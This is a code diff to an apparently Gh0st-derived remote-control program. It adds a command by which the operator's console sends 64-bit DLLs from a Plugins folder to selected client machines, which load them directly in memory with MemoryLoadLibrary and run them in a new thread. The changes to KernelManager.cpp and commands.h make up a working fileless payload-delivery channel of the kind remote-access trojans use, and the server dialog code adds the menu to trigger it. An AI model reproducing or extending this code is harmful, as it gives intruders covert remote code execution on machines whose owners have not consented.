diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 0795613..a0d7e84 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -173,6 +173,7 @@ + @@ -199,6 +200,7 @@ + diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 5993eea..73b2ba8 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -9,6 +9,7 @@ #include #include #include "ClientDll.h" +#include "MemoryModule.h" ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -110,22 +111,74 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size) return TRUE; } +typedef struct DllExecParam +{ + State& exit; + DllExecuteInfo info; + BYTE* buffer; + DllExecParam(const DllExecuteInfo* dll, BYTE* data, State& status) : exit(status) { + memcpy(&info, dll, sizeof(DllExecuteInfo)); + buffer = new BYTE[info.Size]; + memcpy(buffer, data, info.Size); + } + ~DllExecParam() { + SAFE_DELETE_ARRAY(buffer); + } +}DllExecParam; + +DWORD WINAPI ExecuteDLLProc(LPVOID param) { + DllExecParam* dll = (DllExecParam*)param; + HMEMORYMODULE module = MemoryLoadLibrary(dll->buffer, dll->info.Size); + if (module) { + DllExecuteInfo info = dll->info; + if (info.Func[0]) { + FARPROC proc = MemoryGetProcAddress(module, info.Func); + if (proc) { + switch (info.CallType) + { + case CALLTYPE_DEFAULT: + ((CallTypeDefault)proc)(); + break; + default: + break; + } + } + } + else { // 没有指明函数则只加载DLL + while (S_CLIENT_EXIT != dll->exit) { + Sleep(1000); + } + } + MemoryFreeLibrary(module); + } + SAFE_DELETE(dll); + return 0x20250529; +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; - if ((m_ulThreadCount = GetAvailableIndex()) == -1) { - if (!isExit) { - Mprintf("CKernelManager: The number of threads exceeds the limit.\n"); - return; - } - } - else if (!isExit){ + if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) { + return Mprintf("CKernelManager: The number of threads exceeds the limit.\n"); + } else if (!isExit){ m_hThread[m_ulThreadCount].p = nullptr; m_hThread[m_ulThreadCount].conn = m_conn; } switch(szBuffer[0]) { + case CMD_EXECUTE_DLL: { +#ifdef _WIN64 + const int sz = 1 + sizeof(DllExecuteInfo); + if (ulLength <= sz)break; + DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1); + if (info->Size == ulLength - sz) + CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(info, szBuffer + sz, g_bExit), 0, NULL)); + Mprintf("Execute '%s'%s succeed: %d Length: %d\n", info->Name, info->Func, szBuffer[1], info->Size); +#endif + break; + } + case COMMAND_PROXY: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 17fa421..56adfae 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -183,6 +183,7 @@ + @@ -209,6 +210,7 @@ + diff --git a/common/commands.h b/common/commands.h index ef9b0a9..a49b159 100644 --- a/common/commands.h +++ b/common/commands.h @@ -217,6 +217,7 @@ enum CMD_DLLDATA, // 响应DLL数据 CMD_MASTERSETTING = 215, // 主控设置 CMD_HEARTBEAT_ACK = 216, // 心跳回应 + CMD_EXECUTE_DLL = 240, // 执行代码 }; enum ProxyManager { @@ -512,15 +513,29 @@ typedef struct MasterSettings { char Reserved[476]; // 预留 }MasterSettings; -enum +// 100字节: 运行类型 + 大小 + 调用方式 + DLL名称 + 函数名称 +typedef struct DllExecuteInfo { + int RunType; // 运行类型 + int Size; // DLL 大小 + int CallType; // 调用方式 + char Name[32]; // DLL 名称 + char Func[32]; // 函数名称 + char Reseverd[24]; +}DllExecuteInfo; + +enum { SOFTWARE_CAMERA = 0, SOFTWARE_TELEGRAM, SHELLCODE = 0, MEMORYDLL = 1, + + CALLTYPE_DEFAULT = 0, // 默认调用方式: void (*CallTypeDefault)(void) }; +typedef void (*CallTypeDefault)(void); + typedef DWORD(__stdcall* PidCallback)(void); inline const char* EVENTID(PidCallback pid) { diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 5008ca3..2cd8d2c 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -164,6 +164,94 @@ END_MESSAGE_MAP() // CMy2015RemoteDlg 对话框 +std::string GetFileName(const char* filepath) { + const char* slash1 = strrchr(filepath, '/'); + const char* slash2 = strrchr(filepath, '\\'); + const char* slash = slash1 > slash2 ? slash1 : slash2; + return slash ? slash + 1 : filepath; +} + +bool IsDll64Bit(BYTE* dllBase) { + if (!dllBase) return false; + + auto dos = (IMAGE_DOS_HEADER*)dllBase; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) { + Mprintf("Invalid DOS header\n"); + return false; + } + + auto nt = (IMAGE_NT_HEADERS*)(dllBase + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) { + Mprintf("Invalid NT header\n"); + return false; + } + + WORD magic = nt->OptionalHeader.Magic; + return magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC; +} + +// 返回:读取的字节数组指针(需要手动释放) +DllInfo* ReadPluginDll(const std::string& filename) { + // 打开文件(以二进制模式) + std::ifstream file(filename, std::ios::binary | std::ios::ate); + std::string name = GetFileName(filename.c_str()); + if (!file.is_open() || name.length() >= 32) { + Mprintf("无法打开文件: %s\n", filename.c_str()); + return nullptr; + } + + // 获取文件大小 + std::streamsize fileSize = file.tellg(); + file.seekg(0, std::ios::beg); + + // 分配缓冲区: CMD + DllExecuteInfo + size + BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize]; + if (!file.read(reinterpret_cast(buffer + 1 + sizeof(DllExecuteInfo)), fileSize)) { + Mprintf("读取文件失败: %s\n", filename.c_str()); + delete[] buffer; + return nullptr; + } + if (!IsDll64Bit(buffer + 1 + sizeof(DllExecuteInfo))) { + Mprintf("不支持32位DLL: %s\n", filename.c_str()); + delete[] buffer; + return nullptr; + } + + // 设置输出参数 + DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_DEFAULT, }; + memcpy(info.Name, name.c_str(), name.length()); + buffer[0] = CMD_EXECUTE_DLL; + memcpy(buffer + 1, &info, sizeof(DllExecuteInfo)); + Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize); + SAFE_DELETE_ARRAY(buffer); + return new DllInfo{ name, buf }; +} + +std::vector ReadAllDllFilesWindows(const std::string& dirPath) { + std::vector result; + + std::string searchPath = dirPath + "\\*.dll"; + WIN32_FIND_DATAA findData; + HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData); + + if (hFind == INVALID_HANDLE_VALUE) { + Mprintf("无法打开目录: %s\n", dirPath.c_str()); + return result; + } + + do { + if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { + std::string fullPath = dirPath + "\\" + findData.cFileName; + DllInfo* dll = ReadPluginDll(fullPath.c_str()); + if (dll) { + result.push_back(dll); + } + } + } while (FindNextFileA(hFind, &findData)); + + FindClose(hFind); + return result; +} CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent) { @@ -184,6 +272,12 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial } InitializeCriticalSection(&m_cs); + + // Init DLL list + char path[_MAX_PATH]; + GetModuleFileNameA(NULL, path, _MAX_PATH); + GET_FILEPATH(path, "Plugins"); + m_DllList = ReadAllDllFilesWindows(path); } @@ -194,6 +288,10 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg() SAFE_DELETE(m_ServerDLL[i]); SAFE_DELETE(m_ServerBin[i]); } + for (int i = 0; i < m_DllList.size(); i++) + { + SAFE_DELETE(m_DllList[i]); + } } void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX) @@ -256,6 +354,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote) ON_COMMAND(ID_HELP_IMPORTANT, &CMy2015RemoteDlg::OnHelpImportant) ON_COMMAND(ID_HELP_FEEDBACK, &CMy2015RemoteDlg::OnHelpFeedback) + // 将所有动态子菜单项的命令 ID 映射到同一个响应函数 + ON_COMMAND_RANGE(ID_DYNAMIC_MENU_BASE, ID_DYNAMIC_MENU_BASE + 20, &CMy2015RemoteDlg::OnDynamicSubMenu) END_MESSAGE_MAP() @@ -864,29 +964,50 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) CMenu Menu; Menu.LoadMenu(IDR_MENU_LIST_ONLINE); //加载菜单资源 资源和类对象关联 - CMenu* SubMenu = Menu.GetSubMenu(0); + CMenu* SubMenu = Menu.GetSubMenu(0); - CPoint Point; + CPoint Point; GetCursorPos(&Point); - int iCount = SubMenu->GetMenuItemCount(); - EnterCriticalSection(&m_cs); - int n = m_CList_Online.GetSelectedCount(); - LeaveCriticalSection(&m_cs); - if (n == 0) //如果没有选中 - { - for (int i = 0;iEnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰 - } - } - Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]); Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]); Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]); Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]); Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]); + + // 创建一个新的子菜单 + CMenu newMenu; + if (!newMenu.CreatePopupMenu()) { + AfxMessageBox(_T("创建分配主控的子菜单失败!")); + return; + } + + int i = 0; + for (const auto& s : m_DllList) { + // 向子菜单中添加菜单项 + newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE + i++, s->Name.c_str()); + } + if (i == 0){ + newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE, "操作指导"); + } + // 将子菜单添加到主菜单中 + SubMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)newMenu.Detach(), _T("执行代码")); + + int iCount = SubMenu->GetMenuItemCount(); + EnterCriticalSection(&m_cs); + int n = m_CList_Online.GetSelectedCount(); + LeaveCriticalSection(&m_cs); + if (n == 0) //如果没有选中 + { + for (int i = 0; i < iCount; ++i) + { + SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰 + } + } + + // 刷新菜单显示 + DrawMenuBar(); SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); *pResult = 0; @@ -2333,3 +2454,30 @@ void CMy2015RemoteDlg::OnHelpFeedback() CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/issues/new"); ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL); } + +// 请将64位的DLL放于 'Plugins' 目录 +void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) { + if (m_DllList.size()==0){ + MessageBoxA("请将64位的DLL放于 'Plugins' 目录,再来点击此项菜单。" + "\n您必须在DLL加载时执行您的代码。请执行来源受信任的合法代码。", "提示", MB_ICONINFORMATION); + char path[_MAX_PATH]; + GetModuleFileNameA(NULL, path, _MAX_PATH); + GET_FILEPATH(path, "Plugins"); + m_DllList = ReadAllDllFilesWindows(path); + return; + } + int menuIndex = nID - ID_DYNAMIC_MENU_BASE; // 计算菜单项的索引(基于 ID) + if (IDYES != MessageBoxA(CString("确定在选定的主机上执行代码吗? 执行未经测试的代码可能造成程序崩溃。" + "\n提示: 当前版本要求必须在DLL加载时执行您的代码。"), + _T("提示"), MB_ICONQUESTION | MB_YESNO)) + return; + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + while (Pos && menuIndex < m_DllList.size()) { + Buffer* buf = m_DllList[menuIndex]->Data; + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); + m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length()); + } + LeaveCriticalSection(&m_cs); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 6554cbc..44613e9 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -13,6 +13,16 @@ // 是否在退出主控端时也退出客户端 #define CLIENT_EXIT_WITH_SERVER 0 +typedef struct DllInfo { + std::string Name; + Buffer* Data; + ~DllInfo() { + SAFE_DELETE(Data); + } +}DllInfo; + +#define ID_DYNAMIC_MENU_BASE 36500 + ////////////////////////////////////////////////////////////////////////// #include #include @@ -165,6 +175,7 @@ public: CStatusBar m_StatusBar; //状态条 CTrueColorToolBar m_ToolBar; + std::vector m_DllList; NOTIFYICONDATA m_Nid; HANDLE m_hExit; IOCPServer* m_iocpServer; @@ -223,4 +234,5 @@ public: afx_msg void OnOnlineHostnote(); afx_msg void OnHelpImportant(); afx_msg void OnHelpFeedback(); + afx_msg void OnDynamicSubMenu(UINT nID); };